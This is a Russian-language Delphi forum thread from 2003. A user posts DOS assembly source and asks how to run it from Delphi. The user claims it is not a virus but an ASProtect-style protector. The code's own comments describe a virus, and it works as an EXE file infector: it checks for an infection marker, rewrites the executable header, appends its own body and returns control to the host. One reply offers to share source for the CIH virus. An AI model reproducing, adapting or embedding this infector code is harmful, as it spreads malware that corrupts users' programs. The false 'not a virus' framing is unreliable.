Модераторы: Poseidon, Snowy, bems, MetalFan
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> <<Самым, самым ...>> 
:(
    Опции темы
kostik_16
  Дата 9.8.2003, 06:13 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 196
Регистрация: 23.7.2003

Репутация: -4
Всего: 1



Привет всем! У меня возникла очередная рпоблема и я надеюсь вы поможите мне решить ее. На вопрос как вставить код из ассемблера в Delphi все дружно ответили для этого есть Asm. Я и без вас знал, проблема в том как и куда!!!!! Ниже я приведу код, который требуется вставить и прошу тех, кому это под силу отвлечся на несколько минут от своих дел и помочь мне вставить его в Delphi!

Проблема будет заключатся в следующем. Пусть при нажатии кнопки идет выполнение моего кода.

*************************************************************
Сам код:

prg segment
assume cs:prg,ds:prg,es:prg,ss:prg
org 100h

vir: mov ax,cs ;AX = CS ...
db 2dh ;SUB AX,00h
sub_ds dw 0 ;
mov ds,ax ;
mov ss,ax ;

mov ah,1ah ;Переключим DTA
lea dx,new_dta ;на соответству-
;ющий массив в
int 21h ;области данных
;вируса ...

mov ax,old_ip ;Скопируем исхо-
mov my_ip,ax ;дные параметры
mov ax,old_cs ;заголовка зара-
mov my_cs,ax ;женной програм-
mov ax,to_16h ;мы в ячейки па-
mov my_16h,ax ;мяти " my_XX ",
mov ax,old_ss ;так как ячейки
mov my_ss,ax ;" old_XX ", в
mov ax,old_sp ;которых хранят-
mov my_sp,ax ;ся параметры,
;будут испорчены
;при заражении
;нового файла



open_file:
mov ax,3d02h ;Откроем файл
lea dx,puti ;для чтения и
int 21h ;записи ...
jnc found_size


found_size:mov descrypt,ax ;Определим раз-
mov cx,word ptr [new_dta + 01ch]
mov dx,word ptr [new_dta + 01ah]
sub dx,1 ;мер файла и вы-
sbb cx,0 ;чтем из него
;единицу ...
call setpointer ;Установим ука-
;затель на пос-
;ледний символ

read_last: mov cx,1 ;Прочитаем
lea dx,last ;последний
call read ;символ ...
jnc compar
jmp close_file

compar: cmp last,'7' ;Это "семерка" ?
jne mmm ;Нет
;Да ! Файл уже
;заражен, и надо
;искать другой

mmm: xor cx,cx ;Установим ука-
xor dx,dx ;затель на нача-
call setpointer ;ло файла ...

mov ah,3fh ;И считаем инте-
mov bx,descrypt ;ресующую нас
mov cx,27 ;часть заголовка
;в массив " hea-
;der " .Она как
lea dx,header ;раз занимает 27
int 21h ;байт...
jnc next_step ;
jmp restore_dta ;Ошибка чтения !

next_step: mov ax,word ptr header[14h]
mov old_ip,ax
mov ax,word ptr header[16h]
mov old_cs,ax
mov ax,word ptr header[0eh]
mov old_ss,ax
mov ax,word ptr header[10h]
mov old_sp,ax

mov ax,word ptr header[04h]
mov cl,5
shl ax,cl
cmp ax,0f000h
jna good_size
good_size: mov bp,ax
sub ax,word ptr header[08h]
mov to_16h,ax ;Это число запи-
;шется в Header
;[16h]
mov ax,bp
xor dx,dx
call mover
mov f_seek_low,ax
mov f_seek_high,dx
cmp dx,word ptr [new_dta + 01ch]

ja infect
cmp ax,word ptr [new_dta + 01ah]

infect: add ax,vir_len
adc dx,0
mov bx,512
div bx
cmp dx,0
je round
inc ax
round: mov to_04h,ax ;Это число запи-
;шется в Header
;[04h]

mov to_02h,dx
mov word ptr header[02h],dx
mov ax,to_04h
mov word ptr header[04h],ax
mov word ptr header[14h],0
mov ax,to_16h
mov word ptr header[16h],ax
mov word ptr header[0eh],ax
mov word ptr header[10h],offset ds:new_stack + 96
mov sub_ds,10h

xor dx,dx ;Устанавливаем
xor cx,cx ;указатель на
call setpointer ;начало файла
jc close_file ;

lea dx,header ;И записываем
mov cx,27 ;измененный за-
call write ;головок на диск
jc close_file

mov dx,f_seek_low ;Устанавливаем
mov cx,f_seek_high ;указатель на
call setpointer ;определенное
;ранее место в
;файле
jc close_file

lea dx,vir ;И записываем на
mov cx,vir_len ;диск вирусный
call write ;код

close_file:xor ax,ax ;Закроем зара-
mov ah,3eh ;женный файл
mov bx,descrypt ;
int 21h ;

restore_dta:
push ds ;DS -> в стек
mov ah,1ah ;Восстановим
mov dx,080h ;адрес DTA зара-
mov bp,es ;женной програм-
mov ds,bp ;мы с помощью
int 21h ;функции DOS 1Ah
pop ds ;DS <- из стека

mov ax,my_ip
mov old_ip,ax
mov ax,my_cs
mov old_cs,ax
mov ax,my_16h
mov to_16h,ax
mov ax,my_sp
mov sp,ax ;Инициализируем
;регистр SP ...
mov ax,cs ;Найдем
sub ax,to_16h ;NS0 + 10h ...
add my_ss,ax ;Вычислим SS ...
mov ss,my_ss ;
add ax,old_cs ;Вычислим CS ...
mov old_cs,ax ;
mov ax,es ;Инициализируем
mov ds,ax ;регистр DS ...

jmp $ + 2 ;Сбросим очередь
;процессора
db 0eah ;И перейдем к
old_ip dw 0 ;исполнению
old_cs dw 0 ;программы ...

;Procedure area ...
;*************************************************

setpointer proc ;Процедура уста-
mov ax,4200h ;навливает ука-
mov bx,descrypt ;затель в файле
int 21h ;на заданный
ret ;байт ...
setpointer endp

read proc ;Процедура чте-
mov ah,3fh ;ния из файла...
mov bx,descrypt
int 21h
ret
read endp

write proc ;Процедура за-
mov ah,40h ;писи в файл ...
mov bx,descrypt
int 21h
ret
write endp

mover proc ;Процедура умно-
mov cx,04h ;жения двойного
left: shl dx,1 ;слова CX : DX
shl ax,1 ;на 16 методом
adc dx,00h ;сдвига ...
loop left ;
ret ;
mover endp

;Data area ...
;*************************************************

;Собственная DTA
;вируса
puti db 'C:\x.exe'
new_dta db 128 dup (0)

;Маска для поис-
;ка файла - жер-
;твы
maska db '*.exe',0

;Буфер для хра-
;нения имени
;найденного
;файла
fn db 12 dup (' '),0

;Массив для хра-
;нения заголовка
header db 27 dup ( 0 )

descrypt dw 0 ;Ячейка для дес-
;криптора

to_02h dw 0 ;Эти ячейки ис-
to_04h dw 0 ;пользуются для
to_16h dw 0 ;хранения пара-
my_ip dw 0 ;метров заголо-
my_cs dw 0 ;вка заражаемой
my_16h dw 0 ;программы и
my_ss dw 0 ;той, из которой
my_sp dw 0 ;стартовал
old_ss dw 0 ;вирус
old_sp dw 0 ;

f_seek_low dw 0 ;В эти перемен-
f_seek_high dw 0 ;нные записывае-
;тся значение
;указателя

;Вирусный стек
new_stack dw 50 dup ( 0 )

last db 0 ;Сюда помещается
;последний байт
;заражаемого
;файла

db '7' ;Последний байт
;вирусного кода

;Длина вирусного
;кода в байтах
vir_len equ $-vir

prg ends
end vir

************************************************************* Вот и весь код. Сразу говорю ЭТО НЕ ВИРУС, а программа типа ASProtect.
Так что я надеюсь самые, самые в этом форуме не отвернутся и помогут мне.

Всем спасибо за внимание и за ваши старания!!!!!!
PM MAIL   Вверх
Vit
Дата 9.8.2003, 06:27 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Vitaly Nevzorov
****


Профиль
Группа: Экс. модератор
Сообщений: 10964
Регистрация: 25.3.2002
Где: Chicago

Репутация: 48
Всего: 207



Попробуй попроси пользователя под именем Chingachguk - он может помочь


--------------------
With the best wishes, Vit
I have done so much with so little for so long that I am now qualified to do anything with nothing
Самый большой Delphi FAQ на русском языке здесь: www.drkb.ru
PM MAIL WWW ICQ   Вверх
pascal
Дата 9.8.2003, 11:12 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 180
Регистрация: 16.7.2003
Где: Россия - Уфа

Репутация: нет
Всего: 1



всё павно ничего не выйдет. это же досовскийкод...
PM MAIL WWW ICQ   Вверх
p0s0l
Дата 9.8.2003, 14:46 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Г-н Посол
****


Профиль
Группа: Экс. модератор
Сообщений: 3668
Регистрация: 13.7.2003
Где: 58°38' с.ш. 4 9°41' в.д.

Репутация: 58
Всего: 112



Можно найти исходник Ciha... Если надо, кину.
Только все равно проги такого назначения не пишутся на ЯВУ...

Буди на Delphi можно сделать загрузчик exe, который будет приписываться к защищаемому файлу, при этом его шифруя. При запуске такой проги она расшифровывет исходный exe и :
1) тупой метод - пишет на диск и запускает
2) геморройный метод (но крутой) - сама выполняет инициализацию EXE PE...



--------------------
С уважением, г-н Посол.
PM   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Правила форума "Delphi: Общие вопросы"
SnowyMetalFan
bemsPoseidon
Rrader

Запрещается!

1. Публиковать ссылки на вскрытые компоненты

2. Обсуждать взлом компонентов и делиться вскрытыми компонентами

  • Литературу по Дельфи обсуждаем здесь
  • Действия модераторов можно обсудить здесь
  • С просьбами о написании курсовой, реферата и т.п. обращаться сюда
  • Вопросы по реализации алгоритмов рассматриваются здесь
  • 90% ответов на свои вопросы можно найти в DRKB (Delphi Russian Knowledge Base) - крупнейшем в рунете сборнике материалов по Дельфи


Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Snowy, MetalFan, bems, Poseidon, Rrader.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Delphi: Общие вопросы | Следующая тема »


 




[ Время генерации скрипта: 0.0578 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.